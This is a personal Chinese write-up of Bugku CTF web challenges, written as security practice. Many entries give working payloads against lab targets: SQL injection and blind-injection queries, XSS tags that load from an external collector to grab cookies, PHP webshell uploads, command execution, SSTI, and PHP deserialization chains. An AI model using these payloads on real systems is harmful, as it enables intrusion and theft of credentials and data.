Bugku Web 刷题记录
有人提到了bugku的入门难度,所以来做做bugku
顺序是默认的,做的 平台WEB
第一页
滑稽
网页源代码
计算器
网页里面有个code.js,打开就有
alert
HTML 实体解码
你必须让他停下
抓一会包,全局搜索flag{就行
头等舱
看到头,想到Header,果然有
GET
/?what=flag
POST
what=flag
source
看到source想到源代码,里面有个tig,可能是git,又说了Linux,我猜git泄露
猜中了,但是没想到居然要git操作,实在不熟
只用githack不能下载.git里的文件,要用wget -r git路径才行
翻了半天没什么东西,看别人是这样:
git reflog:不带任何参数时,显示当前分支(HEAD)的引用日志。git show:不带任何参数时,显示当前分支的最新提交(HEAD)的详细信息。
然后一个个试,在git show HEAD@{4}
矛盾
/?num=1a
备份是个好习惯
扫到flag.php 和 index.php.bak
备份是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
$str = strstr($_SERVER['REQUEST_URI'], '?');- 获取URL中?后面的部分$str = substr($str,1);- 去掉?号,得到查询字符串$str = str_replace('key','',$str);- 将字符串中的’key’替换为空(这一步会破坏原始参数名)parse_str($str);- 将查询字符串解析为变量
例如?key1=abc&key2=def处理后变成1=abc&2=def
自然想到双写绕过,和传入数组
1
/?kekeyy1[]=2&kekeyy2[]=1
变量1
看到题目名我就猜到是环境变量了,代码里还有变量覆盖
所以/?args=GLOBALS
本地管理员
提示已经够多了,admin,密码在源码里,XFF
game1
看源码一眼看到了一个编辑Get请求的,但是一直错
看了评论才知道,Base64编码是题目改版的,在F12的Console里面写,Base64.encode(分数);就能得到题目的编码
最终payload:
/score.php?score=9999999999&ip=123.153.213.109&sign=zMOTk5OTk5OTk5OQ====
源代码
好奇葩的题,源码里面是js,定义的时候是编码的,自己又解码,执行,源码如下:
1
2
3
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
把eval改成console.log就能打印里面的拼接,打印后格式化一下是:
1
2
3
4
5
6
7
8
9
10
11
12
function checkSubmit() {
var a = document.getElementById("password");
if ("undefined" != typeof a) {
if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value)
return !0;
alert("Error");
a.focus();
return !1
}
}
document.getElementById("levelQuest").onsubmit = checkSubmit;
获取id为password的元素,a要存在,值等于那个字符串,就返回!0
然后编辑源码,把那个input输入框复制一个在后面,把id改成password就行
随后输入那个值点提交,就有flag了
虽然做出来了,但印象中那么多年就遇到过一次需要自己改html的。
网站被黑
扫备份,shell.php
爆破密码,hack
bp
题目真怪
爆破的返回长度一样的,里面的js逻辑是等于那个预设的code,那个code是后台生成的,所以需要知道触发的code是啥,否则正确密码你也看不出来
bp可以用那个grep matching,点击flag什么东西的标注一下,所有错误密码都是2次出现此词条,但是有一个密码是zxc123,他只出现了1次,返回包里的code是hacker1000,访问一下就有flag
好像需要密码
10000-99999爆破
我这里是12468
shell
给的描述是:
1
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
这里的poc_1就是数组,poc_2就是把每个元素连起来,就是assert
后面就是执行s,所以
1
/?s=system('ls');
然后读一下flag
eval
1
/?hello=system('cat /flag')
这里的执行函数貌似在var_dump而非外层的eval
需要管理员
robots.txt里有文件
1
/resusl.php?x=admin
第二页
程序员本地网站
1
X-Forwarded-For: 127.0.0.1
这题三个金币
你从哪里来
1
Referer: http://google.com
这题三个金币
前女友
1
/?v1[]=a&v2[]=b&v3[]=c
MD5
以前做过笔记
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
不同数据弱相等
payload:
a=QNKCDZO&b=240610708MD5等于自身,如
md5($a)==$a,php弱比较会把0e开头识别为科学计数法,结果均为0,所以此时需要找到一个MD5加密前后都是0e开头的,如0e215962017
本题payload:/?a=0e215962017&b=240610708
各种绕过哟
1
2
3
/?id=margin&uname[]=a
passwd[]=b
秋名山车神
多刷几次能看到让post value
居然要写代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import re
s = requests.Session()
one = s.get('http://171.80.2.169:17896/')
rt=one.text
math=re.search("<div>.*</div>", rt)
math=re.search("(?<=>).*?(?==)",math.group())
print(rt)
value=eval(math.group())
print(value)
two = s.post('http://171.80.2.169:17896/', data={
"value": value
})
print(two.content)
要学一下爬虫,我好像python编程不怎么会
速度要快
抄的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import base64
session = requests.Session()
response = session.get("http://171.80.2.169:19916/")
headers = response.headers
flagBase64Str = headers["flag"]
flagStr = base64.b64decode(flagBase64Str)
flagStr = flagStr.decode("utf-8")
flagStr = flagStr.split(": ")[1]
# 一定要在这里写,因为上一步才是把那串英文数字组合的字符串赋予给 flagStr(就是 MzAwNjq3 这个格式内容)
flagStr = base64.b64decode(flagStr)
res = session.post("http://171.80.2.169:19916/", data={"margin": flagStr})
print(res.text)
file_get_contents
extract代码意思是把传入的参数,自动解析成变量名
扫描到flag.txt内容是bugku
所以
1
/?ac=bugku&fn=flag.txt
Simple SQL injection
万能密码也行
SQLmap一把梭,但我居然没有手动注入出来,我数字型忘了
我傻逼
注出账密后登录就有flag
成绩查询
SQLMAP一把梭
no select
万能密码
1' or 1=1#
login2
又是做过的,没做出来,我忘记了union select新建数据的事
这题返回头给了提示:
1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
摘出两句代码,这个意思是先查询username和password,然后肯定有个赋值给$row[‘password’]的操作。
第二行代码就是把输入的password与上面查询的password做对比。
这里技巧就是union select查询字符串时,会在结果中插入这两行数据,貌似是别名?
比如执行:
1
2
3
SELECT CustomerID,Customername FROM Customers where CustomerID='1'
union
select 'admin','password'
回显:
| CustomerID | Customername |
|---|---|
| 1 | Alfreds Futterkiste |
| admin | password |
如果CustomerID=’1’里面把1改成任意不存在的数,那么回显结果里只有admin和password
这样的话,此sql语句结果被赋值,就相当于我们自己插入了一条用户名和密码。
系统取出并赋值后,跟我们传入的密码比对。注意插入要md5过的
这里post语句写
1
username=' union select 'admin','202cb962ac59075b964b07152d234b70'#--&password=123
进去还有个命令注入,写文件就行
1
;cat /flag>1.txt
sql注入
有点难,过滤了不少,也学到了新知识点
没写脚本,看了wp就直接输入帐密了
这里过滤了很多东西,比如, | for | 空格但常规的函数又没过滤
用length就能判断出数据库名的长度
1
a'or(Length(database()))>1#
根据一些wp,可以得出有以下payload能判断
1
2
3
4
5
那为什么这些也能判断呢?
SELECT substr((database())from(1)); # security
SELECT mid((database())from(1)); # security
SELECT ascii(mid((database())from(1))); # 115
SELECT substr(reverse(substr((database())from(1)))from(8)); # s
在 MySQL 中,SUBSTR()、SUBSTRING() 和 MID() 是同义词。它们的功能完全一样。
以mid为例,标准写法是:MID(database() FROM 2 FOR 1)='l'
简写为:MID(database() ,2,1)='l'
可是逗号和for都被过滤了,另一种写法mid(database(),2),返回第二个字母往后的字符串,例如blindsql返回lindsql,而逗号被过滤,使用from就行:mid(database()from(2))
另一个知识点,ascii函数传入字符串时,只返回第一个字母的ascii,所以
ascii(mid(database()from(2)))就能用来逐个判断字母
判断出数据库名是blindsql
由于for被过滤,不能从information_schema查表,需要爆破表名
1
a'or(SELECT(id)FROM(blindsql.xxxx))#
得admin
爆破列名
1
a'or(SELECT(XXXX)FROM(blindsql.admin))#
得password
注入密码就是
1
a'or((ascii(mid((select(password)from(admin))from(1))))>90)#
改造成脚本就行
有个wp,很有意思,居然是通过-0-判断,我没见过
原理是MySQL 类型转换:把一个“字符串”和一个“数字”进行比较时,MySQL 会尝试将字符串强制转换为数字,然后再做判断。
- 如果字符串以数字开头:它会截取开头的数字部分进行比较。
- 例如:’123USA’ 转换后等于 123。
-
如果字符串不以数字开头:它会被转换成 0。
- 例如:’Germany’、’UK’、’China’ 转换后统统等于 0。
所以,使用
1
select * from Customers where country=0;
会查询出所有数据
在这题里面,username注入:admin'-0-'
1
SLECET * FROM users WHERE username='admin'-0-'' AND password='admin'
这样admin-0变成0 ,0-''变成0 ,那么username=0,基本上所有用户都满足这个条件,那么username为真,密码错误就显示password error
构造那个0就能判断,例如注入:
1
a'-((LENGTH(database()))-8)-'
数据库名长度为8,8-8为0,就形成了a'-0-',uasername为真
如果是把8改成其他数字,比如7,9分别算出-1和1,都无法匹配上字符串。
太妙了
也可以判断库名
1
a'-((ASCII(MID(database()FROM(1))))-98)-'
这里不用-98,用大于小于98也可以,条件成立返回1,不成立返回0
都过滤了
用上面学到的方法,判断出这个是8位长度的数据名:
1
uname=admin'-(length(database())-8)-'&passwd=123456
实际上猜admin,bugkuctf也行了:)
判断第一位字符
1
uname=admin'-(ascii((mid(database()from(1))))-98)-'&passwd=123456
判断表名,还是要爆破
1
uname=admin'-(select(0)from(admin))-'&passwd=123456
爆破列名
1
uname=admin'-(select(0)from(admin)where(passwd))-'&passwd=123456
我设置where(列名=0)不出结果,where(列名)可以。那就这样爆破吧,存在就显示password error
有个wp用的子查询:
1
xxx'-(SELECT(0)FROM(SELECT(列名)FROM(admin))t)-'
where被过滤的话可以用,意思是从admin表里查列,如果没有就错了,如果有,则外层有个0输出,这个语句没我的简洁
爆破数据的时候我是这样做的:
1
a'-(ascii(select(passwd)from(admin))>4)-'
当然这个我没写from,只能判断第一位,我只是测试,这样写是不行的,一直回显username error。因为select语句作子查询的时候,必须是一个标量子查询,需要让它被括号包裹,成为子查询才行。
下面就可以判断了
1
a'-(ascii((select(passwd)from(admin)))>4)-'
逐位判断加个from就行:
1
uname=a'-(ascii(mid((select(passwd)from(admin))from(1)))>52)-'&passwd=123456
脚本来不及写了,盲猜admin / bugkuctf
进去就是命令执行,过滤了空格,{IFS}之类,用bash结构执行
{ls,/}、{cat,/flag}
login1
hint说SQL约束攻击,头好痒,记忆缺失了
搜了一下,说是select和insert对带空格的输入处理不一致。
新建用户的时候,系统判断库里有没有这个用户,没有就插入此用户。
用户名写成admin 1,select时此用户不存在,然后就插入,但是insert插入时会把空格后面截断掉,插入为admin。
我的描述可能不好,看一下这两篇吧:
留言板
ceye.io、xss.pt还有什么xssaq要么收不到,要么收费。 这里我使用的:https://xss.report/,注册后,去payload拿一个,输入后,稍等10秒就在dashboard收到消息,然后点击右边小爬虫图标,进入消息详情,能看到cookie里面有flag
我的payload
1
<scrIpt src=https://xss.report/c/sequel7924></scriPt>
留言板1
同上,不过过滤了空格和script,使用/替代空格,使用双写绕过
1
<scscrIptrIpt/src=https://xss.report/c/sequel7924></scrscrIptiPt>
文件包含
LFI
1
/index.php?file=php://filter/convert.base64-encode/resource=/flag
flag位置是猜的,伪协议是hackbar点一下就有,自己不背会忘。
cookies
url是/index.php?line=0&filename=a2V5cy50eHQ=,就是文件base然后读行
写逐行读取index.php,整理如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' => 'keys.txt',
'1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
$file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
$fa = file($file);
echo $fa[$line];
}
传入margin=margin,然后file传入keys.php就行
payload:
1
2
3
4
5
GET /index.php?line=1&filename=a2V5cy5waHA= HTTP/1.1
Cookie: margin=margin
注意,响应体是:
<?php $key="flag{3e98dca32cef0d3eef528910cb212313}"; ?>
页面看不到,上bp
never_give_up
网页源代码有提示1p.html,进去看到有个js写入,把变量url解码,base64解码,url解码就能看到了
如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
id=0a可以,a用data://text/plain,bugku is a nice plateform!写入。eregi是忽略大小写的正则匹配函数,这里有两种做法,00截断和正则,b为%0012345,这样首字节是空字节,与111连接后还是111,能匹配进1114。为.12345也行,因为.匹配任意字符,也能匹配后面的。
payload:
1
/hello.php?id=0a&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=%0012345
或
1
/hello.php?id=0a&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=.12345
第三页
文件包含2
网页源码有线索,打开是个上传点,上传一句话木马,后缀改成jpg,mime也改一下,然后<?php 和 ?>被过滤了,这里用script:
1
<script language='php'>@eval($_POST['b']);</script>
然后回显路径,再次包含它就能执行命令了,也可以用蚁剑连接。看来是内置.htaccess文件了
ezbypass
一眼无字母数字字符RCE
payload:
_=system&__=cat+%2Fflag&code=%24_%3D%28_%2F_._%29%5B_%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%2B%2B%3B%24__%3D%24__.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B
现学吧
参考:
fuzz哪些字符没被过滤:
1
2
3
4
5
6
7
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i);
}
}
长篇解释不太好放到这里,解释下上面的payload,
$_=(_/_._)[_];,_做运算时是0,0/0是NAN,做索引时就取到了N,后面就是自增之类的了。
最终构造成$_POST['_']($_POST['__'])
然后传入_和__。
还可以$_=[];$_=@"$_";,在双引号字符串中,PHP 会解析变量(字符串插值),解析数组时报错返回固定字符串”Array”,那个@是用来抑制错误的。
No one knows regex better than me
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
$zero = $_REQUEST["zero"];
$first = $_REQUEST["first"];
$second = $zero . $first;
if (preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i", $second)) {
$key = $second;
if (preg_match("/\.\.|flag/", $key)) {
die("Noooood hacker!");
} else {
$third = $first;
if (preg_match("/\\|\056\160\150\x70/i", $third)) {
$end = substr($third, 5);
highlight_file(base64_decode($zero) . $end); //maybe flag in flag.php
}
}
} else {
highlight_file(__FILE__);
}
/\\|\056\160\150\x70/i表示的是,|.php字符串
payload:/?zero=ZmxhZw==&first=girl|.php
字符?正则?
1
2
3
4
5
6
7
8
<?php
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
太无聊了,评论区都是AI做的,我也是
key- 匹配字母 “key”;例如.*- 匹配任意字符(除换行符)零次或多次key- 匹配字母 “key”.{4,7}- 匹配任意字符4到7次key- 匹配字母 “key”:\/.\/- 冒号 + 斜杠 + 任意一个字符 + 斜杠(.*key)- 捕获组:匹配任意字符零次或多次,直到”key”[a-z]- 匹配一个小写字母[[:punct:]]- 匹配一个标点符号字符/i- 不区分大小写标志
payload:/?id=keykeyqqqqkey:/q/keyq!
Flask_FileUpload
源码提示了,上传文件会返回结果,前后端都限制了文件类型
但是后缀改成图片就行
我本来上传一个完整的py文件,但是各种报错,内容看起来像直接执行了我的命令,那种完完整整的python flask文件不行
于是改成:
1
2
3
import os
print(os.listdir())
出了结果,直接
1
2
3
import os
print(os.system("cat /flag"))
xxx二手交易市场
这个学到了,原来base64的图片,里面自带mime的
注册用户后,上传头像发现都是base格式,去除图片内容后,把图片位置改成一句话,然后base64,顺便把jpeg改成php,这样上传后就是php文件
1
image=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgQGV2YWwoJF9QT1NUW19dKTs/Pg==
然后就是
1
_=system("cat /var/www/html/flag");
文件上传
看了评论才知道
直接上传一句话,上面的Content-type里面的multipart/form-data要改成Multipart/form-data
下面的改成image/jpeg,然后后缀改php4
getshell
太无聊了,一直base64解码,解得乱死了,一层层。
到最后我var_dump提示:
1
Fatal error: Uncaught Error: Undefined constant "ymlisisisiook" in D:\atmp\dd.php(86) : eval()'d code(1) : eval()'d code:3
没解出全部内容,猜这个是一句话密钥,猜对了。
什么权限都没有,蚁剑连上有个插件叫disable_functions,可以用,只要把shell的路径改成.antproxy.php就行。
然后右键终端就能执行很多命令了
点login咋没反应
垃圾题,居然细节藏在css里,有个/* try ?28064 */,拼接到url就行
然后源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['28064'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
本地实验了一下:
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$KEY = "ctf.bugku.com";
var_dump(serialize($KEY));
$_COOKIE["BUGKU"] = "s:13:\"ctf.bugku.com\";";
$cookie = $_COOKIE["BUGKU"];
if (unserialize($cookie) === "$KEY") {
echo "nb";
}
?>
payload:BUGKU=s:13:"ctf.bugku.com";
兔年大吉2
不难,但是有个地方我没搞出来。导致靶机过期了,亏了5个金币,艹
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>
序列化不熟,我转载过一篇,但没深学:PHP 反序列化总结
这题的错误例子:
1
2
3
4
5
$a=new Happy('system',"whoami");//新建Happy对象
$a->eee();//调用Happy中不存在的方法,触发call
echo serialize($a);//序列化
看似合理,其实低级错误,这里的$a就是个对象,序列化也没有调用eee()的记录。并且反序列化在Year类中,Happy对象怎么可能触发。
思路:
flowchart TD
A(Year:: __destruct) --> B(Year:: firecrackers)
B --> C(Rabbit:: __set)
C --> D(Year:: __get)
D-->E(Nevv:: __invoke)
E-->F(Happy:: _call)
F-->G[call_user_func]
就是这样,一个个对象包裹另一个才能做到链式反应
我的payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct()
{
$this->cmd = "system";
$this->content = "cat /flag";
}
}
class Nevv{
private $happiness;
public function __construct($obj)
{
$this->happiness=$obj;
}
}
class Rabbit{
private $aspiration;
public function __construct($obj)
{
$this->aspiration=$obj;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($obj)
{
$this->rabbit = $obj;
$this->key="happy new year";
}
}
$h=new Happy();
$n=new Nevv($h);
$y=new Year($n);
$r=new Rabbit($y);
$y2=new Year($r);
echo urlencode(serialize($y2));
?>
注意一定要urlencode,否则私有属性的00复制不出来,注意在Happy类的对象数目那里+1,这样才能绕过__wakeup,奇怪的是为什么我这个没有+1也可以
最终payload:
1
O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D
unserialize-Noteasy
关键在:$a("", $b);,毕竟就一个类,destruct触发就行
这里一眼考察:create_function
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Noteasy
{
private $a;
private $b;
public function __construct()
{
$this->a="create_function";
$this->b="}system('c\a\\t /flag'); /*";
}
}
$a=new Noteasy();
echo urlencode(serialize($a));
payload:
1
O%3A7%3A%22Noteasy%22%3A2%3A%7Bs%3A10%3A%22%00Noteasy%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A10%3A%22%00Noteasy%00b%22%3Bs%3A26%3A%22%7Dsystem%28%27c%5Ca%5Ct+%2Fflag%27%29%3B+%2F%2A%22%3B%7D
正则过滤了命令,所以用\隔开绕过,$a("", $b);这种形式基本都是考察create_function,要注意后面的函数体,开头右花括号是为了闭合内部lambda,后面的/*是为了注释后续语句。
Simple_SSTI_2
焚靖一把梭
payload:
1
/?flag={{(OvO.__eq__.__globals__.sys.modules.os.popen('cat flag')).read()}}
闪电十六鞭
学到了新知识,这里不需要绕过最后一个sha1,需要在eval里面做文章。
eval() 函数的作用是将字符串当作 PHP 代码执行。
我们可以写入代码片,自定义变量之类。也能像SQL注入一样闭合标签。
payload:
1
$a='fla9';$a{3}='g';?><?=$$a;?>111111111111111111
前面两句是构造出$flag,?>是为了闭合语句。在 PHP 中,一旦遇到 ?>,后面的内容会被当作普通 HTML 输出,直到遇到新的 PHP 标签。
<?=$$a;?> 是 <?php echo $$a; ?> 的简写。 <?= 不需要括号就能输出变量,绕过了正则。
这个时候已经打印$flag了,但是前面有个长度比对,所以后面补一些字符,将其补充到49个字符。
安慰奖
不难,我用的cp flag.php flag.txt绕过
1
/?code=O%3A3%3A%22ctf%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A20%3A%22cp+flag.php+flag.txt%22%3B%7D
也可以用tac flag.php来绕过
decrypt
密码题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
我的注释,和思路:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
function encrypt($data, $key)
{
$key = md5('ISCC'); //729623334f0aa2784a1599fd374c120d
$x = 0;
$len = strlen($data); //$data长度
$klen = strlen($key); //32
$char = '';
//key的前$len位连起来
for ($i = 0; $i < $len; $i++) {
//key用完了,就从头开始
if ($x == $klen) {
$x = 0;
}
$char .= $key[$x];
$x += 1;
}
// data的每一位ASCII和$char的加起来,模128,转字符
// 前$len位
for ($i = 0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
//如果$data长度为32,那么$char=$key
function decrypt($C)
{
$D = base64_decode($C);
$char = md5('ISCC');
$len = strlen($D);
$plain = '';
$x = 0;
for ($i = 0; $i < $len; $i++) {
if ($x == 32) {
$x = 0;
}
$s = ord($D[$i]); //把每个字符转ASCII
$plain .= chr(($s - ord($char[$x]) + 128) % 128);
$x += 1;
}
echo $plain;
}
decrypt("fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=");
Gemini写的更好:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function decrypt($C)
{
$D = base64_decode($C);
$key = md5('ISCC'); // 729623334f0aa2784a1599fd374c120d
$klen = strlen($key); // 32
$len = strlen($D); // 密文长度
$plain = '';
for ($i = 0; $i < $len; $i++) {
// 1. 实现密钥循环逻辑
$keyChar = $key[$i % $klen];
// 2. 获取当前密文字符的 ASCII 值
$s = ord($D[$i]);
// 3. 还原算法:(密文 - 密钥 + 128) % 128
// 这样可以确保结果永远落在 0-127 的有效 ASCII 范围内
$plain .= chr(($s - ord($keyChar) + 128) % 128);
}
echo "解密结果: " . $plain;
}
decrypt("fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=");
加密函数的逻辑可以写成数学等式:$C = (P + K) \pmod{128}$
我们的目标是从 $C$ 中求出 $P$。根据移项法则:$P \equiv C - K \pmod{128}$
在数学上,$-K$ 在模 128 的世界里,等同于 $+ (128 - K)$。所以为了在编程时避免出现负数(因为 ord() 函数处理负数会出问题),我们通常写成:$P = (C - K + 128) \pmod{128}$
Apache Log4j2 RCE
没公网IP,做不了,研究一上午内网穿透,结果没成功
腾讯云有免费使用一个月的云服务器,可以用
我看的这个帖子做的:ctf bugku Apache Log4j2 RCE解题
newphp
远古的记忆被唤醒了
源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
还是学了一下,这里的反序列化点是User类,自动反序列化。跟看文件的evil类没有关联。
可控点是username和password,所以我们自然而然想到,把序列化后的字符串当用户名或者密码传入。直接传入被当成字符串的,没有效果。
先看看处理流程,他把User对象前后用了write和read函数。这个write函数是幌子,没有返回值。有用的是read,它把参数中的\0\0\0替换成三个字符。例如我username输入,\0\0\0,经过read变成三个字符。这样反序列化就会往后再读取三个字符,直到6个。
evil类读取hint.php的序列化对象是:
1
O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
把这个字符串当password输入,查看User类序列化:
1
O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}
我们的目的就是让password里面塞入的evil序列化字符串成为真正的对象。
这里用到逃逸,把";s:5:"admin";s:8:"password";s:41:"变成username,后面的O开头的自然就是内嵌对象。这个字符串长度是23,我们每次替换只能逃逸三个长度,所以只能逃逸3的倍数。所以这里使它逃逸24个长度,手动在末尾补个字符就行。
